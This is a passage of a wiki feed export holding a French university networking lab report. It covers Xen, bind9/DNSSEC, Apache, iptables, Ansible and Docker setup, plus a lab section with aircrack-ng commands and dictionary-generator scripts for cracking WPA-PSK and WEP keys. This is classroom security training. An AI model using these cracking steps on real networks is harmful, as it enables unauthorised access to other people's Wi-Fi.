      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        state: stopped&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
    - name: Delete container&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        state: absent&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
 &lt;br /&gt;
    - name: Delete the image&lt;br /&gt;
      docker_image:&lt;br /&gt;
        name: image-for-chlamydiae&lt;br /&gt;
        tag: latest&lt;br /&gt;
        path: /tmp/gr4/DockerFiles&lt;br /&gt;
        state: absent&lt;br /&gt;
        force: yes&lt;br /&gt;
  &lt;br /&gt;
    - name: build Docker image from Dockerfile&lt;br /&gt;
      docker_image:&lt;br /&gt;
        tag: latest&lt;br /&gt;
        name: image-for-chlamydiae&lt;br /&gt;
        path: /tmp/gr4/DockerFiles&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: Create the container&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-from-ansible&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: check if container is running&lt;br /&gt;
      shell: 'docker ps'&lt;br /&gt;
      register: docker_ps&lt;br /&gt;
    - debug: var=docker_ps.stdout_lines&lt;br /&gt;
  &lt;br /&gt;
    - name: Last&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: started&lt;br /&gt;
        recreate: yes&lt;br /&gt;
        ports:&lt;br /&gt;
        - &amp;quot;8004:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Que l'on lance avec la commande:&lt;br /&gt;
  ansible-playbook file_name.yml&lt;br /&gt;
&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51808</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51808"/>
				<updated>2019-12-16T13:52:14Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Création de votre conteneur */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Cordouan on installe bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accès au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter: &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
C'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2: ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options: &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
On signe les enregistrements de la zone en exécutant la  commande suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.hadess.space.signed&amp;quot;;&lt;br /&gt;
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.&lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  # export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # = adresse de private-chlamydiae + 10&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 193.48.57.180       # l'adresse de la VM principale&lt;br /&gt;
   address 192.168.0.4&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
===Paramétrage des rôles===&lt;br /&gt;
Crée un dossier roles dans /root &lt;br /&gt;
 mkdir roles &lt;br /&gt;
&lt;br /&gt;
Créer dans le dossier roles un dossier common et un fichier common.yml&lt;br /&gt;
 mkdir common &amp;amp;&amp;amp; vim common.yml &lt;br /&gt;
&lt;br /&gt;
Dans le fichier Common.yml: &lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    tasks:&lt;br /&gt;
      - name: include common&lt;br /&gt;
        include_role:&lt;br /&gt;
          name: common&lt;br /&gt;
&lt;br /&gt;
Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.&lt;br /&gt;
&lt;br /&gt;
===== Motd =====&lt;br /&gt;
Dans le dossier tasks on crée un fichier main.yml:&lt;br /&gt;
  - name: Write on motd&lt;br /&gt;
    copy:&lt;br /&gt;
       dest: /etc/motd&lt;br /&gt;
       src: motd&lt;br /&gt;
&lt;br /&gt;
Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.&lt;br /&gt;
Ce fichier motd contiendra notre message.&lt;br /&gt;
&lt;br /&gt;
===== NTP =====&lt;br /&gt;
Pour le serveur de temps dans le fichier main.yml on ajoute: &lt;br /&gt;
  - name: install ntp&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntp&lt;br /&gt;
  - name: install ntpdate&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntpdate  &lt;br /&gt;
  - name: Copy over the NTP configuration&lt;br /&gt;
    copy: src=ntp.conf dest=/etc/ntp.conf&lt;br /&gt;
    tags: ntp&lt;br /&gt;
   - name: Stop ntp&lt;br /&gt;
     service: name=ntp state=stopped enabled=yes&lt;br /&gt;
     tags: ntpd                            &lt;br /&gt;
  - name: Sync time initialy&lt;br /&gt;
    shell: ntpdate ntp.polytech-lille.fr&lt;br /&gt;
    tags: ntp&lt;br /&gt;
  - name: Make sure NTP is started up&lt;br /&gt;
    service: name=ntp state=started enabled=yes&lt;br /&gt;
    tags: ntp&lt;br /&gt;
&lt;br /&gt;
Dans le dossier files on crée ntp.conf qui référence notre NTP:&lt;br /&gt;
  server ntp.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ça fonctionne, on obtient sur la machine principale:&lt;br /&gt;
[[Fichier:result_jeu_docker.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire, on voit bien que docker a été installé:&lt;br /&gt;
[[Fichier:result-jeu-docker-bis.png|300px|center]]&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
On suit ce tutoriel:&lt;br /&gt;
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e&lt;br /&gt;
&lt;br /&gt;
Pour tester la partie docker indépendamment, sur la machine secondaire:&lt;br /&gt;
:- on crée notre index.html (basique)&lt;br /&gt;
:- on crée notre dockerfile:&lt;br /&gt;
  FROM centos:latest&lt;br /&gt;
  MAINTAINER NewstarCorporation&lt;br /&gt;
  RUN yum -y install httpd&lt;br /&gt;
  COPY index.html /var/www/html/&lt;br /&gt;
  CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]&lt;br /&gt;
  EXPOSE 80&lt;br /&gt;
&lt;br /&gt;
On crée l'image:&lt;br /&gt;
  docker build DockerFiles/ -t webserver:v1&lt;br /&gt;
&lt;br /&gt;
[[Fichier:result-httpd.png|400px|center]]&lt;br /&gt;
&lt;br /&gt;
Puis on la run:&lt;br /&gt;
  docker run -dit -p 1234:80 webserver:v1&lt;br /&gt;
&lt;br /&gt;
Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install rsync&lt;br /&gt;
      apt:&lt;br /&gt;
        state: latest&lt;br /&gt;
        name: 'rsync'&lt;br /&gt;
  &lt;br /&gt;
    - name: transfer files&lt;br /&gt;
      copy:&lt;br /&gt;
        src: DockerFiles&lt;br /&gt;
        dest: /tmp/gr4/&lt;br /&gt;
      register: copy_output&lt;br /&gt;
    - debug: var=copy_output&lt;br /&gt;
  &lt;br /&gt;
    - name: Try to stop container&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        state: stopped&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
    - name: Delete container&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        state: absent&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
 &lt;br /&gt;
    - name: Delete the image&lt;br /&gt;
      docker_image:&lt;br /&gt;
        name: image-for-chlamydiae&lt;br /&gt;
        tag: latest&lt;br /&gt;
        path: /tmp/gr4/DockerFiles&lt;br /&gt;
        state: absent&lt;br /&gt;
        force: yes&lt;br /&gt;
  &lt;br /&gt;
    - name: build Docker image from Dockerfile&lt;br /&gt;
      docker_image:&lt;br /&gt;
        tag: latest&lt;br /&gt;
        name: image-for-chlamydiae&lt;br /&gt;
        path: /tmp/gr4/DockerFiles&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: Create the container&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-from-ansible&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: check if container is running&lt;br /&gt;
      shell: 'docker ps'&lt;br /&gt;
      register: docker_ps&lt;br /&gt;
    - debug: var=docker_ps.stdout_lines&lt;br /&gt;
  &lt;br /&gt;
    - name: Last&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: started&lt;br /&gt;
        recreate: yes&lt;br /&gt;
        ports:&lt;br /&gt;
        - &amp;quot;8004:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
